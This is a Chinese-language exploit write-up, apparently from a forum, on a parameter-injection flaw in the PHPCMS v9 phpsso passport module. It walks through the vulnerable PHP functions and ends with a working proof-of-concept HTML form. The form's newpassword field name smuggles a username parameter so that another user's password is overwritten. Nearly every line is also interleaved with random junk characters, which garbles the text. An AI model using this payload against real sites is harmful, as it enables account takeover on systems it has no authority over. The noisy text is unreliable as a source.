提到的通行证的代码:& T: y# X- Z# g. ^: R& w
4 I z" c8 _! N7 J3 J
) u) h+ c, c1 j- |
parse_str(sys_auth($_POST['data'], 'DECODE', $this->applist[$this->appid]['authkey']), $this->data);% u i# I/ B, N# D( u0 v$ E
1 l2 e4 |( _3 S$ f2 W1 m在phpsso_server/phpcms/modules/phpsso/classes/phpsso.class.php中。
" T3 ^4 k8 t: f3 ^# D; U
" m f8 q' B9 U7 |) V我把它留给了你们。 n9 v) k7 m6 ?
不知道你们发现了它没有。
5 `% N( ?* d- v8 {* ]/ H D. a5 y5 V' ]# {. e; ~5 |
我们知道parse_str类似将http请求转换成php变量的函数,所以,也像http请求在php的环境下一样,如果提交?a=sss&a=aaa,那么a的结果会是aaa,不是sss。
* L' ^$ f9 ?. [% k
( D& I' n8 _! b! j所以我们知道这个函数有一个问题了,如果后面提交一个内容,它会覆盖前面的。
" [! L. P0 j. O: E2 X# n- g* y; C2 u( o P2 m1 ?0 Z
也就是
0 ] X; k# V4 \% H3 U' W& p$ B
$ h* d% j" ^7 S# K# Y5 G" _$ j- Ausername=zhangsan&username=lisi的话,那么用户名就不是zhangsan了。, O- [/ s& p; h: T! d/ M
0 h1 `& x Z+ o8 Q9 ?1 E
要构造这样的请求,我们还是要回到通行证的client看看,我们有没有这样的机会。' m$ T' K- ?; `, ^7 D/ j6 M
7 D$ T; [' ]$ O) i% ~' @
+ v1 p# z( O) Q0 g' \6 h, x其实我们有这样的机会,看看代码,如下:% l+ n: T' x7 ]* J/ A! u8 E. P8 a
) e6 c4 K3 ]& @& \! P- }- n# U
0 T0 B9 l# ^ B s, Dpublic function auth_data($data) {
1 x3 Y+ b0 O, h" V% `( v! ] $s = $sep = '';' O$ ?0 h3 y8 K/ ]; x. O9 B T! L
foreach($data as $k => $v) {1 ?. O) O a5 w8 s& B: a# ^6 _
if(is_array($v)) {
$ a1 ]) O5 D, j& b; h $s2 = $sep2 = '';
' j. d0 z) j1 X+ {$ r( o foreach($v as $k2 => $v2) {
' m" t+ G7 M. |- q1 { $s2 .= "$sep2{$k}[$k2]=".$this->_ps_stripslashes($v2);) K y' v5 J% {1 _+ h
$sep2 = '&';2 h4 O2 S/ U6 e% |2 t
}) H9 g* V/ S; D% C
$s .= $sep.$s2;
5 C3 O2 k; L: U1 t, ?- X } else {
7 [* U6 m* R `2 [# X2 K5 ~ $s .= "$sep$k=".$this->_ps_stripslashes($v);
* `" g' Q/ l% q }6 g8 b/ `5 `) ]' q2 t$ m
$sep = '&';
0 p# v' n& m4 E" f Q3 w2 d }
7 U# E `* h- H
/ S7 f6 c9 ^- @3 F$ ` $auth_s = 'v='.$this->ps_vsersion.'&appid='.APPID.'&data='.urlencode($this->sys_auth($s));( O7 Z6 C/ O, M9 W$ i: J
return $auth_s;- K0 y" k" J G. I
}' [2 F2 o2 c8 b; B9 d4 m
2 X4 y8 l( R& T" ]& ]
可能我没说明白,对,传递进来的数组的key是可控的。如果我的key里包含[]&这样三个字符的话,那么我就能重写这样的东西。 ]5 C( v5 |& d7 S
Y/ O& K6 `! ^" S7 |$ F举个例子% x* R. q5 T3 b
* r, ?: a* K" C& m) d$ ^: d |7 B$a[aaa=a&bbb] = 'a';; P5 G4 |4 p3 P _
6 W7 i) o3 [9 ]- }4 J会变成aaa=a&bbb=a
+ R+ ]! e# u; u) p
+ a) a: C9 |0 S, i3 J明白了么,对,就是通过没有注意到的key,我们可以构造出多余的参数来。( m8 R% J- \# S8 L
: x% P* z* u8 h" q. D: l
这个时候,我们可以再去看一个函数。
6 s/ w- n( {) l" Y
6 g" N' `: F# O就在这个文件内:
5 H" j D% z: e/ s; k, r3 N2 e4 v
7 ^: P! q2 V5 Z9 z& N" zpublic function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='') {# e/ U5 O5 G) M; W' `/ r
if($email && !$this->_is_email($email)) {
& m3 y% i7 M2 @. i return -4;# \3 S$ u$ ^6 Z& d/ ` m, U
}
) g/ P: g4 |. x% Q6 M return $this->_ps_send('edit', array('username'=>$username, 'password'=>$password, 'newpassword'=>$newpassword, 'email'=>$email, 'uid'=>$uid, 'random'=>$random));) `: V, G% ^+ C( p
}4 L/ A& u0 d- q/ M- C
! _& d; ]5 x, Y5 ?0 @6 q这是向通行证发了这样一个请求。$ y8 _8 E4 j) c8 |" q2 Z
- T0 p6 R/ P ^6 x" ]我们再跟到通信证代码里去看看,就会有所发现。
6 ~6 H1 V6 `' E5 v j
6 C$ ]4 U9 s9 G, ^8 q7 ~' U5 E4 a& g3 z0 Q+ y0 ]
public function edit() {
: X, j$ S- d7 r! p//能省就省,太长了不是吗?
4 v" J$ ^, r$ V1 R7 I& h: ]& L
& s, b( U7 g$ K* Xif($this->username) {6 f! W1 H" w! g+ h- D
//如果提交了用户名,则按照用户名修改记录,反之,按照uid来修改记录。: ~0 Y9 F. x8 {; q$ O2 c$ d
$res = $this->db->update($data, array('username'=>$this->username));
2 ]4 M5 r! `. d0 b) @ } else {
. `1 [2 @& k2 n( {8 O file_put_contents('typeb.txt',print_r($data,1).$this->uid);
5 ?! z2 ~2 S2 c/ e) f2 d1 N $res = $this->db->update($data, array('uid'=>$this->uid));4 L$ Z7 G1 K: g$ |+ P4 ^- C, `
}& ^, Y+ r% T1 [/ T3 n
+ \, D Z, m5 c& k3 d/ {! F9 l6 o
好,我们知道了,如果提交了用户名,就会按照用户名来修改记录,不然就按照uid,我们看看函数结构:
, {6 k7 \9 o2 j+ G$ q! f/ _+ n" x, b; [# M
public function ps_member_edit($username, $email, $password='', $newpassword='', $uid='', $random='')
" E# q3 E& F( @7 G
: i& R( s: b$ \很好,uid要是无法控制的话,后面只剩下一个random了,但是username就在第一个,只要email,password,newpassword,有任何一个可以控制,就可以修改密码了。" E0 r1 P, u* u0 F4 g: D( @
4 l% x5 H: n8 f7 o, L& Q- O" z我当然找到了:9 H0 y/ k4 w5 H5 z! \! a
phpcms9/phpcms/modules/member/index.php0 W! y7 B* o* x! o& Z+ \0 c& U. }
& A( ]/ K% t# C& J% Z
$res = $this->client->ps_member_edit('', $email, $_POST['info']['password'], $_POST['info']['newpassword'], $this->memberinfo['phpssouid'], $this->memberinfo['encrypt']);" R. ~4 x! M- B' x, Q8 s
9 p J9 O, S* y1 O4 b- |
然后就没有然后了。( z9 k! Z) i$ P# i B; _
: g4 M( ]4 V% a/ s- x, _<form method="post" action="http://localhost/phpcms9/index.php?m=member&c=index&a=account_manage_password&t=1" id="myform" name="myform">
0 T {2 q8 p# {7 k# B. k- [ <table width="100%" cellspacing="0" class="table_form">9 f3 i/ Y4 S9 j9 t! C9 h
<tr>' B9 g4 m ?% Z/ j/ k$ y
<th width="80">邮箱:</th> ) g# V2 [" `& Y6 v! c- Q
<td><input name="info[email]" type="text" id="email" size="30" value="jj@jj.com" class="input-text"></td>6 |1 F9 L5 ]* R
</tr>9 B2 v& {5 v+ r. [/ @" x. C6 _
<tr>
0 K' I/ l! @9 l& o/ t' s1 |5 y% M <th width="80">原密码:</th> ' U# H) t- z! K0 g4 |
<td><input name="info[password]" type="password" id="password" size="30" value="111111" class="input-text"></td>
% a5 X O0 u7 X0 i </tr>
7 P5 E8 z0 V1 u! }' O4 s <tr> G, M0 ^9 A2 d( W1 X2 r
<th>新密码:</th>
. v- ?4 n# P) Z% { <td><input name="info[newpassword][%5D=aaa%5D%5B&username=cc&newpassword=aaaaaa&]" type="password" id="newpassword" size="30" value="" class="input-text"></td>
2 C \* Z$ o3 q* _# W: f& C K </tr>$ b8 k5 q0 e3 ]$ [
<th></th>( [/ @; a: c4 C& I
<td><input name="dosubmit" type="submit" id="dosubmit" value="提交" class="button"></td>
( Z$ S( G0 f7 P% ] </tr>% \. R5 w' b7 i5 O
</table>+ v) e. X* w" I- s1 g
- c9 u1 h4 E. M9 N, _% P
1 X! P" H; @% U" s </form>
4 w4 f* [( u; v3 W; H2 f |